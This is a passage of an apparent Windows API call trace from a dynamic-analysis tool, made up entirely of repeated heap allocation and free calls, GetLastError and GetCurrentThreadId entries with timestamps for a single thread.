0x0 [0130.687] GetCurrentThreadId () returned 0x9b0 [0130.687] GetLastError () returned 0x0 [0130.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.688] GetLastError () returned 0x0 [0130.688] GetLastError () returned 0x0 [0130.688] GetCurrentThreadId () returned 0x9b0 [0130.688] GetLastError () returned 0x0 [0130.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.688] GetCurrentThreadId () returned 0x9b0 [0130.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.689] GetLastError () returned 0x0 [0130.689] GetLastError () returned 0x0 [0130.689] GetLastError () returned 0x0 [0130.689] GetLastError () returned 0x0 [0130.689] GetCurrentThreadId () returned 0x9b0 [0130.689] GetLastError () returned 0x0 [0130.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0130.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.690] GetLastError () returned 0x0 [0130.691] GetLastError () returned 0x0 [0130.691] GetCurrentThreadId () returned 0x9b0 [0130.691] GetLastError () returned 0x0 [0130.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.691] GetLastError () returned 0x0 [0130.691] GetLastError () returned 0x0 [0130.704] GetCurrentThreadId () returned 0x9b0 [0130.704] GetLastError () returned 0x0 [0130.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.705] GetCurrentThreadId () returned 0x9b0 [0130.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.705] GetLastError () returned 0x0 [0130.705] GetLastError () returned 0x0 [0130.705] GetLastError () returned 0x0 [0130.705] GetLastError () returned 0x0 [0130.706] GetCurrentThreadId () returned 0x9b0 [0130.706] GetLastError () returned 0x0 [0130.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0130.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0130.706] GetLastError () returned 0x0 [0130.707] GetLastError () returned 0x0 [0130.707] GetCurrentThreadId () returned 0x9b0 [0130.707] GetLastError () returned 0x0 [0130.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.708] GetLastError () returned 0x0 [0130.708] GetLastError () returned 0x0 [0130.708] GetCurrentThreadId () returned 0x9b0 [0130.708] GetLastError () returned 0x0 [0130.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.709] GetCurrentThreadId () returned 0x9b0 [0130.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.709] GetLastError () returned 0x0 [0130.709] GetLastError () returned 0x0 [0130.709] GetLastError () returned 0x0 [0130.709] GetLastError () returned 0x0 [0130.709] GetCurrentThreadId () returned 0x9b0 [0130.710] GetLastError () returned 0x0 [0130.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0130.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0130.710] GetLastError () returned 0x0 [0130.712] GetLastError () returned 0x0 [0130.712] GetCurrentThreadId () returned 0x9b0 [0130.712] GetLastError () returned 0x0 [0130.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.712] GetLastError () returned 0x0 [0130.713] GetLastError () returned 0x0 [0130.713] GetCurrentThreadId () returned 0x9b0 [0130.713] GetLastError () returned 0x0 [0130.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.714] GetCurrentThreadId () returned 0x9b0 [0130.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.714] GetLastError () returned 0x0 [0130.714] GetLastError () returned 0x0 [0130.714] GetLastError () returned 0x0 [0130.714] GetLastError () returned 0x0 [0130.714] GetCurrentThreadId () returned 0x9b0 [0130.715] GetLastError () returned 0x0 [0130.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0130.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.715] GetLastError () returned 0x0 [0130.716] GetLastError () returned 0x0 [0130.716] GetCurrentThreadId () returned 0x9b0 [0130.716] GetLastError () returned 0x0 [0130.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.716] GetLastError () returned 0x0 [0130.717] GetLastError () returned 0x0 [0130.717] GetCurrentThreadId () returned 0x9b0 [0130.717] GetLastError () returned 0x0 [0130.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.717] GetCurrentThreadId () returned 0x9b0 [0130.717] GetLastError () returned 0x0 [0130.718] GetLastError () returned 0x0 [0130.718] GetLastError () returned 0x0 [0130.718] GetLastError () returned 0x0 [0130.718] GetCurrentThreadId () returned 0x9b0 [0130.718] GetLastError () returned 0x0 [0130.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0130.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0130.718] GetLastError () returned 0x0 [0130.720] GetLastError () returned 0x0 [0130.720] GetCurrentThreadId () returned 0x9b0 [0130.720] GetLastError () returned 0x0 [0130.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.720] GetLastError () returned 0x0 [0130.721] GetLastError () returned 0x0 [0130.722] GetCurrentThreadId () returned 0x9b0 [0130.722] GetLastError () returned 0x0 [0130.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.722] GetCurrentThreadId () returned 0x9b0 [0130.722] GetLastError () returned 0x0 [0130.723] GetLastError () returned 0x0 [0130.723] GetLastError () returned 0x0 [0130.723] GetLastError () returned 0x0 [0130.723] GetCurrentThreadId () returned 0x9b0 [0130.723] GetLastError () returned 0x0 [0130.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0130.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0130.724] GetLastError () returned 0x0 [0130.725] GetLastError () returned 0x0 [0130.725] GetCurrentThreadId () returned 0x9b0 [0130.725] GetLastError () returned 0x0 [0130.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.725] GetLastError () returned 0x0 [0130.725] GetLastError () returned 0x0 [0130.726] GetCurrentThreadId () returned 0x9b0 [0130.726] GetLastError () returned 0x0 [0130.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.726] GetCurrentThreadId () returned 0x9b0 [0130.726] GetLastError () returned 0x0 [0130.727] GetLastError () returned 0x0 [0130.727] GetLastError () returned 0x0 [0130.727] GetLastError () returned 0x0 [0130.727] GetCurrentThreadId () returned 0x9b0 [0130.727] GetLastError () returned 0x0 [0130.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.727] GetLastError () returned 0x0 [0130.729] GetLastError () returned 0x0 [0130.729] GetCurrentThreadId () returned 0x9b0 [0130.729] GetLastError () returned 0x0 [0130.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.729] GetLastError () returned 0x0 [0130.730] GetLastError () returned 0x0 [0130.730] GetCurrentThreadId () returned 0x9b0 [0130.731] GetLastError () returned 0x0 [0130.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.731] GetCurrentThreadId () returned 0x9b0 [0130.731] GetLastError () returned 0x0 [0130.731] GetLastError () returned 0x0 [0130.731] GetLastError () returned 0x0 [0130.732] GetLastError () returned 0x0 [0130.732] GetCurrentThreadId () returned 0x9b0 [0130.732] GetLastError () returned 0x0 [0130.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.732] GetLastError () returned 0x0 [0130.733] GetLastError () returned 0x0 [0130.733] GetCurrentThreadId () returned 0x9b0 [0130.733] GetLastError () returned 0x0 [0130.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.734] GetLastError () returned 0x0 [0130.734] GetLastError () returned 0x0 [0130.734] GetCurrentThreadId () returned 0x9b0 [0130.734] GetLastError () returned 0x0 [0130.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.734] GetCurrentThreadId () returned 0x9b0 [0130.735] GetLastError () returned 0x0 [0130.735] GetLastError () returned 0x0 [0130.735] GetLastError () returned 0x0 [0130.735] GetLastError () returned 0x0 [0130.735] GetCurrentThreadId () returned 0x9b0 [0130.735] GetLastError () returned 0x0 [0130.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0130.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0130.736] GetLastError () returned 0x0 [0130.737] GetLastError () returned 0x0 [0130.737] GetCurrentThreadId () returned 0x9b0 [0130.737] GetLastError () returned 0x0 [0130.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.737] GetLastError () returned 0x0 [0130.738] GetLastError () returned 0x0 [0130.739] GetCurrentThreadId () returned 0x9b0 [0130.739] GetLastError () returned 0x0 [0130.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.740] GetCurrentThreadId () returned 0x9b0 [0130.740] GetLastError () returned 0x0 [0130.740] GetLastError () returned 0x0 [0130.740] GetLastError () returned 0x0 [0130.741] GetLastError () returned 0x0 [0130.741] GetCurrentThreadId () returned 0x9b0 [0130.741] GetLastError () returned 0x0 [0130.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0130.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0130.741] GetLastError () returned 0x0 [0130.742] GetLastError () returned 0x0 [0130.742] GetCurrentThreadId () returned 0x9b0 [0130.742] GetLastError () returned 0x0 [0130.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.743] GetLastError () returned 0x0 [0130.750] GetLastError () returned 0x0 [0130.751] GetCurrentThreadId () returned 0x9b0 [0130.751] GetLastError () returned 0x0 [0130.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.751] GetLastError () returned 0x0 [0130.752] GetLastError () returned 0x0 [0130.752] GetLastError () returned 0x0 [0130.752] GetLastError () returned 0x0 [0130.752] GetCurrentThreadId () returned 0x9b0 [0130.752] GetLastError () returned 0x0 [0130.752] GetCurrentThreadId () returned 0x9b0 [0130.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0130.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0130.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0130.753] GetLastError () returned 0x0 [0130.757] GetLastError () returned 0x0 [0130.757] GetCurrentThreadId () returned 0x9b0 [0130.758] GetLastError () returned 0x0 [0130.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.758] GetLastError () returned 0x0 [0130.759] GetLastError () returned 0x0 [0130.759] GetCurrentThreadId () returned 0x9b0 [0130.759] GetLastError () returned 0x0 [0130.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.759] GetLastError () returned 0x0 [0130.760] GetLastError () returned 0x0 [0130.760] GetLastError () returned 0x0 [0130.760] GetLastError () returned 0x0 [0130.760] GetCurrentThreadId () returned 0x9b0 [0130.760] GetLastError () returned 0x0 [0130.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0130.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0130.760] GetLastError () returned 0x0 [0130.761] GetLastError () returned 0x0 [0130.762] GetCurrentThreadId () returned 0x9b0 [0130.762] GetLastError () returned 0x0 [0130.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.762] GetCurrentThreadId () returned 0x9b0 [0130.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.762] GetLastError () returned 0x0 [0130.762] GetLastError () returned 0x0 [0130.762] GetCurrentThreadId () returned 0x9b0 [0130.762] GetLastError () returned 0x0 [0130.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.763] GetLastError () returned 0x0 [0130.763] GetLastError () returned 0x0 [0130.763] GetLastError () returned 0x0 [0130.763] GetLastError () returned 0x0 [0130.763] GetCurrentThreadId () returned 0x9b0 [0130.764] GetLastError () returned 0x0 [0130.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0130.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.764] GetLastError () returned 0x0 [0130.765] GetLastError () returned 0x0 [0130.765] GetCurrentThreadId () returned 0x9b0 [0130.765] GetLastError () returned 0x0 [0130.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.766] GetLastError () returned 0x0 [0130.766] GetLastError () returned 0x0 [0130.766] GetCurrentThreadId () returned 0x9b0 [0130.766] GetLastError () returned 0x0 [0130.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.766] GetCurrentThreadId () returned 0x9b0 [0130.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.767] GetLastError () returned 0x0 [0130.767] GetLastError () returned 0x0 [0130.767] GetLastError () returned 0x0 [0130.767] GetLastError () returned 0x0 [0130.767] GetCurrentThreadId () returned 0x9b0 [0130.767] GetLastError () returned 0x0 [0130.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.768] GetLastError () returned 0x0 [0130.769] GetLastError () returned 0x0 [0130.769] GetCurrentThreadId () returned 0x9b0 [0130.769] GetLastError () returned 0x0 [0130.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.769] GetLastError () returned 0x0 [0130.769] GetLastError () returned 0x0 [0130.769] GetCurrentThreadId () returned 0x9b0 [0130.769] GetLastError () returned 0x0 [0130.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.770] GetCurrentThreadId () returned 0x9b0 [0130.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.770] GetLastError () returned 0x0 [0130.771] GetLastError () returned 0x0 [0130.771] GetLastError () returned 0x0 [0130.771] GetLastError () returned 0x0 [0130.771] GetCurrentThreadId () returned 0x9b0 [0130.771] GetLastError () returned 0x0 [0130.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0130.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.771] GetLastError () returned 0x0 [0130.773] GetLastError () returned 0x0 [0130.773] GetCurrentThreadId () returned 0x9b0 [0130.773] GetLastError () returned 0x0 [0130.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.773] GetLastError () returned 0x0 [0130.782] GetLastError () returned 0x0 [0130.784] GetCurrentThreadId () returned 0x9b0 [0130.784] GetLastError () returned 0x0 [0130.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.784] GetCurrentThreadId () returned 0x9b0 [0130.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.784] GetLastError () returned 0x0 [0130.785] GetLastError () returned 0x0 [0130.785] GetLastError () returned 0x0 [0130.785] GetLastError () returned 0x0 [0130.785] GetCurrentThreadId () returned 0x9b0 [0130.785] GetLastError () returned 0x0 [0130.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0130.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0130.785] GetLastError () returned 0x0 [0130.787] GetLastError () returned 0x0 [0130.787] GetCurrentThreadId () returned 0x9b0 [0130.787] GetLastError () returned 0x0 [0130.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.787] GetLastError () returned 0x0 [0130.788] GetLastError () returned 0x0 [0130.788] GetCurrentThreadId () returned 0x9b0 [0130.788] GetLastError () returned 0x0 [0130.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.789] GetCurrentThreadId () returned 0x9b0 [0130.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.789] GetLastError () returned 0x0 [0130.789] GetLastError () returned 0x0 [0130.789] GetLastError () returned 0x0 [0130.789] GetLastError () returned 0x0 [0130.790] GetCurrentThreadId () returned 0x9b0 [0130.790] GetLastError () returned 0x0 